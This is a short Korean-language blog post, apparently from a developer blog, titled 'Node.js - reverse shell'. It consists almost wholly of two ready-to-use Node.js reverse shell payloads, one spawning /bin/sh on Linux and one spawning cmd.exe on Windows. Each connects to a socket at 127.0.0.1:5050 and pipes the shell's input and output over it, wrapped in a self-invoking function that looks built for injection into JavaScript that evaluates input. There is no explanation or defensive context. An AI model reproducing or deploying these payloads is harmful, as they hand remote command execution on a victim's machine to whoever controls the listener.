본문 바로가기
⚙️백엔드/Node.js

Node.js - 리버스쉘

by Janger 2021. 12. 4.
728x90
반응형

[Linux]

(function(){
	var net = require("net"),
	cp = require("child_process"),
	sh = cp.spawn("/bin/sh", []);

	var client = new net.Socket();
	client.connect(5050, "127.0.0.1", function(){

	client.pipe(sh.stdin);
	sh.stdout.pipe(client);
	sh.stderr.pipe(client);

        });
	        return /a/;
})();

 

[Windows]

(function(){
	var net = require("net"),
	cp = require("child_process"),
	sh = cp.spawn("C:\\Windows\\system32\\cmd.exe", []);

	var client = new net.Socket();
	client.connect(5050, "127.0.0.1", function(){

	client.pipe(sh.stdin);
	sh.stdout.pipe(client);
	sh.stderr.pipe(client);

        });
	        return /a/;
})();
​

 

728x90
반응형